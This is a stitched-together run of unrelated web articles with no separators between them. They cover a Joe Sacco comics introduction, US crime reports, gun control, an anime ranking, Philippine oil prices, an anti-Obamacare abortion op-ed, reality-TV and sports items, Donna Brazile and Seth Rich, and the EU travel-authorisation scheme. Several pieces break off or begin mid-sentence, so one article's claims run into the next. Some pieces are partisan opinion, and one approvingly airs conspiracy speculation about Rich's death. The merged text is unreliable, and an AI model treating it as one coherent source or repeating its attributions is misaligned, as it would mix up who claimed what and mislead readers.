What does it meanThis story is drawn from “Kushinagar,” which appeared originally in French in XXI, no. 13, January/February/March 2011, and will appear in English in Joe Sacco’s new collection Journalism, to be published by Metropolitan Books on June 19. As Sacco writes, explaining how he came to draw a comic based on his travels in Kushinagar, a district in the northern Indian state of Uttar Pradesh:
The extraordinarily successful French magazine XXI is the publishing industry’s greatest champion of comics reportage. It has regularly sent cartoonists out into the world and given them a good deal of magazine space. Editor Patrick de Saint-Exupery, a seasoned journalist himself, was open to any idea I had and supportive at every step of the way. The author Pankaj Mishra passed me along to Indian journalist Piyush Srivastava, who suggested I visit Kushinagar and who graciously agreed to be my guide. We met in Lucknow, where he is based, and drove for a day to reach the district, where many of the dalits—“untouchables”—are experiencing not just abject poverty but real hunger. After three visits to the same hamlet, Piyush and I were essentially chased out of the area by higher caste individuals who did not like us snooping around. We decided to visit other villages, but briefly, for no more than a couple hours each, to avoid the same result.
Click on any of the images below to enlarge.The killing of Australian college student Christopher Lane in Duncan, Okla. is just one more tragedy that demonstrates the need for gun control ("Suspect's sister: 'He wouldn't listen,' Aug. 22).
In your article, Daniel Ford is quoted as saying, "These punks are going to take our freedom away? Give me a break." I am sorry but the right to live trumps the right to own a gun.
This country could learn something from Australia. In 1996, Australia put several laws into effect under their National Firearm Agreement. They banned all semiautomatic weapons and instituted a buy back program on the banned guns. They require a 28 day delay on gun purchases and a legitimate reason to own a gun — hunting, for instance. Owners must have a secure storage for their gun and each firearm must be registered by serial number.
Since these laws went into effect by one legitimate study, firearm homicide has decreased by 59 percent. Suicides have also dropped considerably. Perhaps because a lethal weapon affords no time to reverse a rash decision.
It is my belief that if you cannot grasp the logic of gun control and what is needed in America to prevent more deaths of loved ones and children, if you can't don't get that this all has to stop and there is only one way to do it (by taking control of the problem) and if you think that all that matters is your right to own a gun, I am not so sure that you should have one.
Sue SmithI've been arguing we need to take a more active approach to reducing market power for many years, without much traction, so it's always nice to see others joining in (it hasn't been enough, but the Obama administration has been better than the Bush administration on this front). This is from Barry Ritholtz:
Monopolies Don't Give Us Nice Things:...There is little intelligent discussion about the costs of too much regulation on the one hand, and the excesses of capitalism on the other. That is a shame, because both sides of those issues create real economic frictions with substantial societal costs....
I would like to address... how poor a job the U.S. does in regulating industries to which it grants monopoly or oligopoly status....
As a nation we do a very poor job of managing competition and adopting the needed standards to improve market efficiency. Television services are just one example....
It seems impossible, however, to have a serious conversation about this as long as rich companies buy off elected officials who grant special tax breaks, dispensations and exemptions. You can pretty much name any intractable problem in the U.S. and you can trace it back to the money corrupting the political process....Please enable Javascript to watch this video
SALT LAKE CITY -- Police are looking for a suspect who allegedly fatally shot a man then stole the victim's vehicle at a car wash in Salt Lake City Friday night.
At about 10:15 p.m., Salt Lake City police responded to a car wash business near 1075 South and Redwood Road. When officers arrived on scene, they discovered 33-year-old Christian A. Gutierrez-Marquez shot in the torso.
Gutierrez-Marquez was taken to an area hospital in extremely critical condition and was later sent to surgery. He was pronounced dead Saturday morning. Police stated he leaves behind a wife and an 8-year-old child.
Lougy said the victim was simply trying to wash his 2015 Toyota Avalon when the shooting occurred.
"He had just purchased his vehicle several days prior, was doing what most of us do when we get a new vehicle- they`re proud. He was just out washing his vehicle," Lougy explained.
“Unfortunately, a suspect at the car wash had robbery on his mind, and... some type of altercation ensued between the two individuals and Christian was shot," he said. "Several witnesses spotted him, he collapsed on Redwood Road."
The suspect stole the Avalon and fled the scene, Lougy said. Around 3 a.m. Saturday, that vehicle was recovered near 1500 West High Avenue.
“Neighbors called on that vehicle because it was fully engulfed in flames, and so the suspect apparently decided to burn the victim’s vehicle," Lougy said.
Police say they are reviewing surveillance footage of the shooting captured by at the car wash.
The suspect is described as a male who has an average build and was last seen wearing a light-colored hooded sweatshirt with dark pants. His age is unknown.
Anyone with information on the shooting or anyone who was in the area around the times mentioned in this story is asked to call Salt Lake City police at 801-799-3000.No new podcast for this post, but I thought I’d share a little ranking I did in my head tonight and decided to share. I’ve seen a lot of good anime and there were certainly a bunch of good OPs and EDs that I left out of this, but I think you’ll find merit in most of my choices. Here we go, starting at the end… well… the endings I mean. Since I want to save the best for last, I’ll count them down.
Endings
5. The Melancholy of Haruhi Suzumiya ED 1
Anything with a well choreographed song and dance, no matter how saccharine, makes it onto my list.
4. Bakemonogatari ED 1
Whimsical animation and a great pop song make this a great ED.
3. Attack on Titan ED 1
I love the smokey chalk-like artwork here. The music is strong and emotive and the animation tells a story.
2. Samurai Champloo ED
I’ve never heard a song that captures a sense of stylish peace an relaxation with a mixture of strong emotion like Shiki no Uta.
1. Madoka Magica ED
I haven’t seen another anime where the ending song and animation were so clearly superior to the show’s opening. They put the show’s rightful theme song at the end in this anime.
Openings
5. Kill la Kill OP 2
The animation and direction of this video is just so awesome. This is a fan dubbed version that is actually quite good.
4. Fate/Zero OP 1 |
as usual.
An indication of the highly profitable oil business in the Philippines is the “ballooning profits” of the oil companies. IBON noted that “Shell, Chevron and Petron have reported a net income of at least P152 billion over the period of 2001 to 2010.”
3. 12% VAT on oil
The higher the oil price, the higher the government share in the profits. This is because of the 12% value added tax (VAT) on oil. IBON estimated the government to be taking an average P48 billion yearly from the VAT on oil or P239.6 billion from 2006 to 2011.
PISTON and other progressive groups have lobbied for a long time for the VAT to be removed as this would help bring down oil prices and then bring down prices of basic commodities. But this has fallen to deaf ears, or the government being consistently deaf.
Would not be so bad if the people would feel that these government profits—people’s money—are going the public’s way through services and better public utilities and infrastructure and not the government leaders’ pockets. But government has been consistent with having corruption scandals from Macoy to Noynoy (no administration untainted, sorry, no). And well, decrepit social services, public utilities and infrastructure. Ginigisa tayo sa sarili nating mantika.
4. Corporate monopoly of public transport
The latest February 27, 2017 transport strike—was it much too feared for its success—forced class and work cancellations all over the country, especially in the metro, announced a day or two before the scheduled transport strike. PISTON and Stop and Go Coalition led a transport strike against the jeepney phase out and corporate takeover of public transport.
PISTON said the jeepney phaseout is being sold as “modernization” but only meant “transfer of jeepney sector to bigger corporate entities. In the “modernization” scheme proposed by the government, franchises are required a minimum of 20 units, amounting to P 7 million capital, effectively displacing single franchise owners. Jeepneys that are 15 years and older would be taken out of the streets so the streets would be safer. Operators would be required to buy e-jeepneys and Euro-4 engines that comply with “guidelines of low-carbon, low-emission technology.” But San Mateo said these e-jeepneys could not withstand heavy rains and floods, would be reliant on constantly using up batteries and its disposal would add to toxic wastes. The relevant government agencies have yet to disprove these claims.
San Mateo also accused some transport leaders now being used as “talking heads for modernization and environment protection but are actually in collusion with the government in this program, saying they would become business partners in the corporate takeover of jeepneys.”
As with the oil prices (and the privatized operations of the mass rail system), PISTON feared that the public transport fares could go up on the demands of the businesses running them and would cease to be a service to the public.
Now, now, now, where were we in the discussion about the mass transport system?
What do you mean we are not yet talking about it?By PoliceOne Staff
EL PASO, Texas — Dash cam video has been released capturing a Texas officer getting shot in a drive-by while conducting an unrelated traffic stop.
KFOX reports Officer Mike Garcia stopped Horacio Castaneda on October 20 because his headlights were not turned on.
As Officer Garcia conducted the stop, 30-year-old Frank Aparicio fired four shots from his vehicle as he passed by, striking Garcia.
The officer immediately called for help as Castaneda performed CPR, KTSM reported. Another driver also came to aid the wounded officer.
"Yeah we get shot at, we get attacked, people try to kill us on a daily basis, but this is the first time somebody just drove up beside an officer and just opened fire," Ron Martin, the President of the El Paso Municipal Police Officers Association, told KTSM.
Aparicio also stabbed 61-year-old Cecilia R. Diaz over a dozen times in a separate incident on the same day he shot the officer. Diaz’s body was found the following day, according to the El Paso Times. It is unclear whether the stabbing or the shooting occurred first.
Police discovered the body of Aparcio, who died of a self-inflicted gunshot wound, behind a store the same day Diaz's body was found.
Aparcio was believed to be the roommate of Diaz’s boyfriend, who was out of town at the time of the deadly stabbing. The attack on the officer appeared to be random.
Officer Garcia is currently at home recovering from his injuries, according to the report.For years, one of the biggest things Colorado parents were warned to fear on Halloween was tampered-with candy. Those warnings took an ominous edge after recreational pot was legalized in Colorado. But this year, despite an onslaught of warnings in 2014, Colorado officials haven't issued a single warning about the dangers of marijuana-infused candy.
There were zero incidents of children being given tricky pot treats reported in 2014 or in 2015, but that hasn't stopped other states from issuing a warning cry.
The Oregon Poison Center has warned parents to watch out for candy that could contain marijuana, according to an article by Oregon Public Broadcasting. OPB quotes toxicologist Robert Hendrickson as saying he's worried that infused candy could get into the wrong hands. "Our concern is that the candies could get mixed up," Hendrickson says. "So our plea is for anyone who has cannabis-containing candies out there, just make sure that they’re locked up."Donald Trump & Hillary Clinton (AFP)
This presidential campaign has two historically unpopular candidates. Both nominees are viewed unfavorably by more than 50 percent of the electorate.
Given their relative unpopularity, it seems reasonable to wonder if many voters possess mixed feelings about their party’s nominee this year. In other words, many voters may be experiencing ambivalence as the campaign enters its final months.
An uneasy feeling
Ambivalence exists when an individual holds conflicting beliefs and feelings toward an object — such as a political candidate. For example, a Democrat might have positive feelings toward Hillary Clinton’s economic policies, but might be wary of her email scandal or tendency to be more hawkish on foreign affairs than President Obama. Likewise, a Republican might approve of Donald Trump’s positions on tax cuts while simultaneously experiencing concern about his tendency to engage in incendiary rhetoric.
In terms of voting, ambivalent voters tend to take longer to make up their mind, and often vote with less enthusiasm. They may also, in some cases, be more willing to vote against the party they usually support. This means campaigns will have to spend more effort convincing an ambivalent voter to cast a ballot for his or her party.
However, research shows that more often than not, voters who have a history of supporting one party over the other do not defect from their party, even when experiencing ambivalence. Ambivalence toward the nominee of one’s preferred party often declines over the course of the campaign. That is, individuals become more favorably disposed to their own party’s candidate.
Underlying these findings is a long line of research indicating one of the major roles of a campaign is to bring home “mismatched partisans.” For example, the GOP wants to help a Republican who is attracted to Clinton find a reason to prefer Trump. This generally seems to work as it is often the case that a voter who has mixed or even negative feelings about his or her party’s candidate will have mostly positive feelings about the candidate by the end of the campaign.
But can the Trump and Clinton campaigns overcome the level of ambivalence voters feel this year about both candidates?
The role of campaigns
Conventional wisdom suggests that positive messaging by the party, the candidate and his or her surrogates causes positive feelings about the candidate to become more relevant to a supporter of a party, and negative feelings less so.
Following months of advertisements and positive statements from President Obama, Bernie Sanders and others, we can expect that many who were initially skeptical of Clinton will warm to her candidacy. As a result, we will likely see her overall favorability numbers increase between now and Election Day among Democrats.
Clinton is currently viewed favorably by about 80 percent of Democrats. It appears as though this process started during the Democratic National Convention when Bernie Sanders appealed to his supporters to back Clinton, although she has not won over all of them.
Will this process go as smoothly for Donald Trump and the Republicans?
Trump has a habit of both starting and escalating disagreements with members of his own party. For example, he has had multiple flair ups with recent presidential nominee John McCain and Speaker of the House Paul Ryan.
As of this writing, six Republican Senators have declared they will not be voting for Trump. Public intellectuals such as Charles Krauthammer and George Will have also disavowed Trump. Recently, the Dallas Morning News endorsed Clinton, the first time the paper has endorsed a Democrat since 1940. Indeed, the editorial stated that “Trump is no Republican.”
While Democrats will hear members of their party consistently praise and defend Clinton, Republicans will often encounter messages ranging from tepid support to open hostility toward Trump. It seems reasonable to imagine that this will make it more likely that some Republicans in the electorate will continue to harbor lingering doubts about Trump. About 70 percent of Republicans currently have a favorable view of Trump, according to an ABC News/Washington Post poll.
Recent elections have tended to be far more competitive than we observed in the middle of the 20th century. It is believed that partisan polarization is a likely cause. In a typical election, even a candidate who is not loved by his or her party will rally much of the faithful.
Indeed, we have not seen a true landslide victory since Ronald Reagan’s in 1984. The 2016 election provides an interesting test of how powerful the forces of polarization and partisanship are in reducing ambivalence and shaping election outcomes.
By Judd Thornton, Professor of Political Science, Georgia State University
This article was originally published on The Conversation. Read the original article.A lot of media is focused on President Obama repeatedly “misleading*” the American people that if they like their health insurance they can keep it.
However that was not the only “untruth**” the President uttered to make sure his signature health care law got passed. To ensure the votes of Democrats who until Obamacare passage were considered pro-life, President Obama signed an Executive Order saying that his health care law maintains the status quo. Of course the exact opposite became true as government mandates and funds became a taxpayer-funded slush fund to subsidize the abortion industry. Immediately pro-life groups cried foul, pointing out that such an Executive Order was as useless as the paper it was printed on. We were not alone.
A little under a year after passage a Congressional Research Service (CRS) report pointed out what had been obvious to everyone except for perhaps now retired lawmakers Rep. Bart Stupak (D-Mich.) and Senator Ben Nelson (D-Nebr.). The CRS report found that neither current law (Hyde Amendment), nor the health care law, nor the Executive Order signed by the President, nor HHS’ contract solicitation for the high-risk pool program specifically prevent federal funds from being used to finance abortion coverage in state high-risk pools.
It wasn’t just CRS. Abortion-giant Planned Parenthood, the pro-abortion Center for Reproductive Rights and at least 22 pro-abortion Members of Congress also knew Obamacare funded abortions.
On abortion funding, Obamacare is a boon to the abortion industry. Under the new health care law, the Director of OPM may administer plans that cover elective abortion and even mandate elective abortion in all but one of the plans he or she administers. Additionally, language in the law gives the Secretary of Health and Human Services tremendous power, including the ability to mandate that every health care plan offer abortion coverage as part of “preventive services.” The health care law also allows for taxpayer subsidies for policies with elective abortion under a system of accounting gimmicks, and charging an “abortion surcharge” for anyone who enrolls in a federally subsidized health care plan that covers elective abortions – regardless of if the enrollee agrees with the policy or not.
President Obama has thrown his Executive Order under the bus numerous times, most recently when his Office of Personnel and Management ruled that members of Congress and their staffs will be able to buy health care plans that pay for abortions, even though the premiums are funded largely by taxpayer money.
While the President has sort of apologized for his “now false***” statements on keeping your health care plan he has not said word one on abortion funding. Despite growing proof every day of how Obamacare is subsidizing the death of children.
CLICK LIKE IF YOU’RE PRO-LIFE!
The President isn’t alone on continuing the “fiction” as the Senate Democrats still maintain there is no abortion funding or subsidies. They continue the charade despite that abortion-giant Planned Parenthood, which is profiting nicely from passage of Obamacare, has helpful hints on how to get tax funded abortions.
Speaker Pelosi “misrepresented****” about the position of the U.S. Conference of Catholic Bishops (USCCB) on the issue of abortion in the health care bill that ultimately passed saying that there is no funding of abortion in the health care bill – despite the fact the USCCB made it clear they knew there WAS such government funding in the bill. (Also during the debate one of Speaker Pelosi’s leftenants, Rep. Lynn Woolsey (D-Calif.) threatened the USCCB with an IRS audit because of their position on the health care bill and abortion funding.)
Well Mr. President, when will you come clean on abortion funding?
*LYING TO
**LIED
***LYING LIKE A RUG
****LIED SO BADLY HER PANTS ARE STILL ON FIRE
LifeNews Note: Tom McClusky writes for March for Life."Scripture classes push messages about sin, death, suicide, sexuality and female submission onto children without the knowledge of their parents," she said. "The Department of Education has no control over the program and it is time these classes were removed or at least regulated by the government." A spokesman for the Department of Education said it works with scripture class providers to ensure the material is "sensitive, age appropriate and of a high standard." A government audit of extra curricular prayer groups in public schools is also underway. Anglican Archdeacon of the Central Coast, Rod Bower, well known for his signboards outside his Gosford church, said SRE classes should be replaced by a "a quality general religious education program" in public schools to reflect "this multicultural, multi-faith society."
"If parents want their children formed in a particular tradition they should take them to a place of worship," he said. A billboard designed by the Fairness in Religions in Schools lobby group. The government has hired an external consultant to review SRE and Special Education in Ethics in public schools. It is considering a controversial proposal to change the scripture class enrolment form which would remove the option to "opt out" of SRE in favour of asking parents to state the child's religion. Greens education spokesman John Kaye said parents were becoming increasingly concerned about religious groups pushing "dangerous ideas" into public schools.
"This is the beginning of the backlash to an enrolment form that obscures the existence of the ethics alternative," he said. "It is not surprising that community groups react by trying to warn parents about the messages their children might be exposed to in scripture classes." The billboard quotes from an Anglican SRE text stating: "God says you are stuck in your sin and need to be rescued from his judgment." Anglican Bishop of South Sydney and chairman of the Sydney diocese's SRE taskforce, Rob Forsyth, said scripture classes did not proselytise but provided education in Christian faith. "If someone signs their kid up for education in the Christian faith, that's exactly what that kid should be taught," he said.
"If these parents don't like it, no one is forcing their child to attend SRE classes. They don't have to go. It's as simple as that. But they should not be trying to stop other people from sending their kids to SRE if that's their choice."Per Michelle Bodkin of UteZone.com, former Oregon wide receiver is coming to Utah. Bodkin has been the primary source for Carrington news. The player that stuck the dagger into Utah’s Pac-12 South championship hopes may help lead them there this year.
Received word last night Darren Carrington is officially a #Ute. Utah making big boy moves on offense this off-season on offense. #GoUtes — Michelle Bodkin (@MBodkinScout) July 25, 2017
Out of respect was waiting for official announcement before breaking on Twitter. Was informed this morning no official announcement coming. — Michelle Bodkin (@MBodkinScout) July 25, 2017
Young man has elected along with Utah to just quietly go to work. #Utes — Michelle Bodkin (@MBodkinScout) July 25, 2017
Carrington was kicked off the Oregon football team by new head coach Willy Taggert after getting a DUII on July 1. He is a senior who already graduated from Oregon and is eligible to play this fall. Utah is a place where many players with checkered pasts have come to and thrived under the leadership of head coach Kyle Whittingham and the family atmosphere of the Utah football team. Bringing in Carrington is not uncharacteristic for Whittingham, and moves like it in the past have paid off in big ways for both the Utah football team and the players they brought in.
Carrington was Oregon’s best wide receiver. He could make the tough catches (as Utah fans all too painfully know). He can go up and get the football, he can run by defenders in the open field, and he can take the top off a defense. He could provide an instant boost to the Utah offense that has to replace a lot of production from last season.
In addition to Carrington, Utah also added JUCO transfer Josh Nurse. I felt good about Utah’s wide receivers heading into fall camp even without Carrington and Nurse. They flashed a lot of potential last season, and wide receiver coach Guy Holliday has an impressive track record for developing talent. With these additions, Utah gets two players that are both big that can make contested catches and bust big plays. They have added quality and depth to an underrated yet talented group of wide receivers. Fall camp starts Friday July 28, which will be the first time either player participates in practice at Utah.Share
Electronic Arts’ long-running Need for Speed series may have skipped 2016, but it has been confirmed that the popular racing franchise isn’t ready to pump the brakes just yet. A trademark application may well have revealed the title of its next installment, which is expected to arrive next year.
On November 7, EA submitted documentation to the European Union Intellectual Property Office. The company was applying for a trademark on the name Need for Speed Arena, according to a report from Gamespot.
In May 2016, EA confirmed that no new Need for Speed game would be released this year. Series developer Ghost Games indicated that a new title would be on its way in 2017, and that may well turn out to be Need for Speed Arena.
However, there are other possibilities for the future of the series. Arena could be a mobile game, like 2015’s Need for Speed: No Limits, the franchise’s first release for smartphones and tablets that wasn’t based on a console installment.
There’s also the possibility that Arena could be another free-to-play release for the PC, a business strategy that the franchise has dabbled with in the past. However, that niche would seem to be filled by Need for Speed: Edge, which is in the midst of development at EA Spearhead.
All signs point toward Arena being a fully fledged multiplatform release, likely scheduled for the series’ traditional fall release date next year. It will be interesting to see whether the game is billed as a direct sequel to 2015’s franchise reboot, which received a muted critical response.
The Need for Speed franchise seemed like a major priority for EA not so long ago, with a slick reboot and a major Hollywood adaptation. However, since neither of those releases was particularly successful, it seems likely that the success or failure of Arena will inform the future of the series.Catherine Lowe’s life has not slowed down since she competed to find love in front of millions.
The 31-year-old mom and wife to former Bachelor Sean Lowe is getting candid as part of Honesty Tea's National Honesty Day. She spoke to Fox News and didn't hold back about whether or not she and her husband see themselves returning to reality TV and how "The Bachelor" has changed since they were on it back in 2013.
Fox News: Do the two of you see yourselves returning to reality TV?
Lowe: Sean and I never say never. We love fun opportunities, we love things that challenge us… We’ve been introduced to a lot of really cool things because of reality TV and each other, of course. It’s a very strange world that’s shown on TV, but we just never say never… I wouldn’t have time to do that now, but you never know.
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Fox News: Do you think 'The Bachelor' is all about sex now?
Lowe: I did watch the most recent season and I think with each 'Bachelor' lead, it really depends on what they like. Sean was a wholesome guy. He wanted nice girls, and that was shown more on his season because that’s what he allowed. That’s what he desired. Nick [Viall] is like a lot of guys who enjoys attractive people… That’s just what he preferred. I do think there was a lot of sex involved, but I think in our culture right now, that’s really at the forefront. I can’t fault him for what he does or what the girls do, but I do think it’s his responsibility to decide how girls are shown... With Sean, I knew he wanted nice girls... For this season, of course the girls led with sex… I just felt they led with sex because that’s what Nick likes. I don’t know. Maybe that’s what the producers decided, so they made it a sexy season.
Fox News: How did you and Sean not give in to temptation?
Lowe: I’m not really someone who shows what she has. I mean, I have big boobs, but I’m not going to show my boobs because that’s not who I am. I don’t drink, I don’t party, I’m pretty much a homebody. I think the temptations that are in this concentrated environment, like 'The Bachelor,' are the same ones you’re going to find in real life. It’s just whether you choose to give into them or not. [Sean] is obviously an attractive guy, but I wasn’t tempted to do anything that wasn’t appropriate. I was mostly with the girls.
Fox News: What about waiting for marriage?
Lowe: I thought Sean did a wonderful job of setting the precedent. He said, ‘I really respect family and I respect my faith and that’s really the most important thing to me. I have to find a wife or potential partner that’s going to have those same goals in mind.’ When he told me that was something he decided, it was of course something that I would support him in. I would have chosen that on my own... There’s a bigger reason why we chose that and it’s attach to something greater than our desire… There are people [in the media] who choose that, but it’s not being shown. I don’t know why. I guess it’s not a sexy thing. People want to see sex, they want to see drama, they want to see something entertaining.
Fox News: How important is it for you and your husband Sean to be honest with fans?
Catherine Lowe: I like to think that Sean and I are extremely candid people... When some people are in the spotlight, they choose to mask what’s going on and try to be perfect. Sean and I, we could not be more different than that. We love to be honest. We love to show people what’s going on because that’s how we relate to our followers. And also, I think from day one, I found it exhausting to be someone you really aren’t… We all have flaws and insecurities. If we share that, it’s going to create a conversation that’s more real and genuine.
IS 'THE BACHELOR' ALL ABOUT SEX NOW?
Fox News: As busy parents, how do you and Sean make time for each other?
Lowe: Sean and I are so blessed to have each other throughout the day. We see each other more often than I think any couple. We pray together, we work together and we’re parents together. We work from home, we stay with our child and we make sure we carve out time for each other… He makes me breakfast every morning. I leave him notes before he leaves for the gym or whatever he’s doing. And obviously, going to bed together! Just having those times to unwind together. Sean and I are completely attached at the hip and we wouldn’t have it any other way.
Fox News: What’s the secret behind your lasting marriage?
Lowe: I don’t think Sean and I are unique in the fact that we work on the relationship… It’s really just about committing. A lot of people just really have a hard time pushing through when it gets tough. Everybody knows relationships are hard, marriages are hard and bringing a baby into your life is extremely hard. But, if you don’t look at that person and say, ‘You know, I really don’t like you right now and I’m going to give up’ and instead say, ‘We’re here, we’ve gotta make it work. I don’t want to be unhappy and you don’t want to be unhappy.’ You have to commit to each other on that day. That’s just the way it is. Obviously there are days when you really don’t want to like the person. But you power through that and you’ll see how much stronger you are on the other side.After a leaked excerpt from her new book “Hacks: The Inside Story of the Break-ins and Breakdowns That Put Donald Trump in the White House” revealed that Donna Brazile feared for her life after the murder of former DNC employee Seth Rich, Axios has reported that Brazile provides more grist for what her former political allies have dismissed as “right wing conspiracy theories” in the book’s introduction.
Nestled among the usual platitudes about thanking friends and family, Brazile dedicates her book to Rich’s memory, describing him as a close colleague and “patriot”.
Rich was murdered in July 2016, two weeks before Wikileaks released a trove of emails stolen from the DNC’s servers that, among other embarrassing details, suggested that the DNC was engaged in widespread rigging of the 2016 Democratic primary to favor “front-runner” Hillary Clinton.
“In loving memory of my father, Lionel Brazile Sr.; my beloved sister, Sheila Brazioutlanle; my fearless uncles Nat, Floyd, and Douglas; Harlem’s finest, my aunt Lucille; my friend and mentor, David Kaufmann; my DNC colleague and patriot, Seth Rich; and my beloved Pomeranian, Chip Joshua Marvin Brazile (Booty Wipes). I miss y’all."
Rich, 27, a former data analyst at the DNC, was fatally shot while walking home late at night in Washington, D.C. The police believe the shooting was a robbery gone wrong. But Brazile says in her book that she was “haunted” by Rich’s death because she feared shadowy elements associated with the Clinton campaign may have played a role in his death as retribution for leaking the emails.
As Newsweek points out, media reports had characterized Rich as a low-level staffer, and his parents wrote in an opinion piece for The Washington Post in May claiming the idea that their son leaked the emails to Wikileaks was ridiculous because his position didn’t grant him access to sensitive data.
Brazile mentioned Rich during a Sunday appearance on ABC News’s This Week with George Stephanopouloson Sunday. She told the host about her critics: “They don’t know what it was like to be over the DNC during this hacking. They don’t know what it’s like to bury a child. I did: Seth Rich."
During the interview, Brazile softened her claims that the DNC rigged the primary (though, tellingly, party leaders have said they will reexamine the role of “joint-fundraising agreements” which Brazile alleged helped the Clinton campaign assert financial dominance over the DNC). She also said that her critics in the party can “go to hell."
"I'm not on the payroll, George. I care about my country. I care about our democracy," Brazile said. "And I say go to hell, because why am I supposed to be the only person that is unable to tell my story?"
Through spokesman Brad Bauman, the Rich family said in a statement, “Since Seth was murdered, Donna Brazile has been a great friend to the Rich family and has been extremely supportive of the family’s efforts to find Seth’s killers."
Of course, Democrats have lined up to rebut Brazile’s claims. More than 100 former Clinton campaign aids signed an open letter accusing Brazile of falling for “Russia-fueled propaganda” in what appears to be a feeble attempt to discredit her.
Already, a trove of bombshell allegations included in the book have been widely reported thanks to leaked excerpts, and a teaser chapter that Brazile published as an essay in Politico. For example, Brazile revealed that she considered replacing Clinton and running mate Tim Kaine with Joe Biden and Corey Booker after Clinton fainted at the 9/11 memorial. She also levied accusations of sexism and racism at former Clinton staffers, and - most shockingly of all - revealed that the Clinton campaign took advantage of Debbie Wasserman Schultz’s absentee leadership of the party to make the DNC financially dependent on Clinton.Following a Guardian article on Saturday, and the Home Secretary’s confirmation on Sunday, it’s clear that the EU is planning to institute some kind of Electronic System of Travel Authorisation (ESTA) in future, which could well apply to UK citizens visiting the EU after Brexit. In this post, Steve Peers examines the background, context, and consequences of the proposition.
Background
What is an ESTA?
First of all, let’s establish what an ESTA is not. It’s not a means of regulating longer-term migration as such, although there is an indirect link between long-term migration rules and ESTA systems, as discussed below. Rather it’s a means of regulating short-term visits for tourism or other reasons.
Nor is an ESTA a tourist visa. A lot of people have confused it with one, perhaps because a Guardian sub-editor initially put an inaccurate headline on the original story (I see the online headline has since been corrected). A tourist visa is a bigger hassle for visitors than an ESTA, since travelers must visit a consulate or pay an agency to handle their application. It entails higher fees and a longer waiting period, and probably a bigger risk of rejection.
During the Brexit referendum campaign, the prospect of a visa regime between the UK and EU was not raised by the Leave side generally. However, it was raised by a junior minister, Dominic Raab, and at the time I trashed the idea here. Since then, Theresa May has shown sufficient judgment to return Raab to the backbenches, so hopefully, we have heard the last of this idea for a while.
So what is an ESTA? It’s a way of gathering travelers’ information in advance of travel, usually for citizens of countries subject to a visa waiver, for instance the USA and Japan. In fact, the best-known example of an ESTA is the American version, although there are several other countries with one. If a traveller fails to complete an ESTA in advance of travel, they will likely be denied boarding or admission at the border. The US version includes a fee for administration and tourism promotion. Usually, the form is completed, and the fee paid, online. It’s recommended to complete the ESTA form several days in advance, although, on my last trip to the USA, I did it just before dashing out of the house to catch my plane. (I am not suggesting this as best practice).
The EU context
The EU has been considering an ESTA for a while. It would form part of the Schengen system of standardised external border controls, which are paralleled by the abolition (in principle) of internal border controls between Schengen States. The Schengen states comprise all the EU countries except Ireland – although Romania, Bulgaria, Cyprus and Croatia do not fully participate yet – plus four non-EU Schengen associates (Norway, Iceland, Switzerland and Liechtenstein).
A key feature of EU law in this area is that the Schengen system interacts with EU free movement law. So because the UK and Ireland have signed up to the free movement of EU citizens as EU Member States, their citizens are fast-tracked across the Schengen external borders. The same is true of the Schengen associates, because they have all signed up to free movement of their citizens with the EU as well.
Other non-EU citizens are subject to more intensive checks at the Schengen external border, as set out in the Schengen Borders Code. There’s a simple reason for this: they don’t have an underlying right to stay in the country, whereas citizens of EU Member States and the Schengen associates do – subject to exceptions. There are also distinctions between non-EU countries: some (like the US or Canada) have a visa waiver from the Schengen countries, while others (like India and China) don’t.
An ESTA was first discussed in a Commission discussion paper back in 2008. This was followed up by a very detailed study in 2011 which recommended against the idea, after which the Commission dismissed it. In 2013, the Commission decided instead to propose an entry-exit system, which would record the movements of non-EU citizens (besides the Schengen associates) into and out of the Schengen external borders. Discussions on that proposal moved slowly, and the Commission proposed a new version of it in spring 2016. The intention is to agree on this system by the end of the year, although it will take several years afterward to get the system up and running in practice.
At the same time, the Commission revived talk of a possible EU ESTA, in a discussion paper on EU information systems. This excited many Member States, as can be seen by a Dutch EU Council Presidency paper published in the spring, which argued that the system could be a quid pro quo for visa waivers with countries like Ukraine and Turkey. Now the idea is on the agenda for the summit of the ‘EU27’ (ie the EU without the UK) to be held this week. It is being pushed by France and Germany in particular. Surely only a cynic would link this to the upcoming elections in those countries…
Consequences
Like the entry-exit system, an EU ESTA would take some time to set up. The details of how it would work would remain to be determined: the Commission is due to make a proposal this autumn, which would then be agreed by the Council (only Schengen States get a vote, so not the UK) and the European Parliament. So it might not follow the US model exactly, in terms of fees or the link to the broader border control system, or the two-year period of validity.
For one thing, some of the EU documents suggest an EU ESTA will apply at external land borders, whereas the US system does not. Also, some EU papers suggest an ESTA will be used as a method of screening people and denying them entry in advance, while others refer to it simply as generating information for border guards to use to speed up their work. It’s not clear whether an ESTA would apply to those UK citizens who live in the EU already, if they (for instance) visited the UK and then returned to France.
But it does seem very likely that it will apply to all non-EU countries which don’t have a treaty on free movement of citizens with the EU. This would follow the existing model of the Schengen Borders Code, the Schengen Information System (which includes data on non-EU citizens to be refused entry) and the proposed entry-exit system. It’s simply common sense: fast-track entry at the border for those who are not subject in principle to immigration controls, but scrutiny at the border (or in advance of it) for those who are.
It’s been suggested that the application of an EU ESTA to the UK would be an act of ‘spite’. This is simply ridiculous. If a country leaves the EU, it leaves behind both the pros and cons of membership. Many on the Leave side argued that the UK should leave the EU and then stop applying free movement law, so that it could exercise more control over EU citizens at the border. Applying an EU ESTA to UK citizens would simply be exactly the same principle in reverse. Equally UK citizens would no longer be fast-tracked at Schengen external borders, would be subject to the EU entry-exit system and (for a few) would be listed in the Schengen Information System as people to be denied entry into any Schengen State. This isn’t ‘scaremongering’: it’s simply a description of existing and proposed EU law.
So will the UK be subject to an EU ESTA after Brexit? The obvious way to avoid it (and the other forms of stepped-up border control) would be to conclude a deal on free movement of persons with the EU. Arguably even a free movement deal with derogations – for instance, limiting the numbers of EU citizens who can work in the UK in some way – could justify an exemption from stepped-up border controls, as long as those UK controls are not applied at the border. I can foresee the counter-argument that ‘the EU will never negotiate an exception to free movement of people’; but has it occurred to anyone that this might simply be a negotiating position?
If an EU ESTA does end up being applied to UK citizens, the UK could reciprocate with a system of its own, applied to EU visitors. But this doesn’t rule out some form of deal on immigration flows between the UK and the EU, which could be agreed in return for continued UK participation in the single market. The mere existence of a UK ESTA – perhaps accompanied by some other form of immigration safeguard on EU citizens – might arguably go some way to satisfying those who want additional border controls. It could be accompanied by further mutual sharing of data on serious convicted criminals, for use in the ESTA process. Latvia’s daft decision to release a convicted murderer after only a few years in prison should not have had tragic consequences in the UK, or any other Member State.
Barnard & Peers: chapter 13
JHA4: chapter I:3
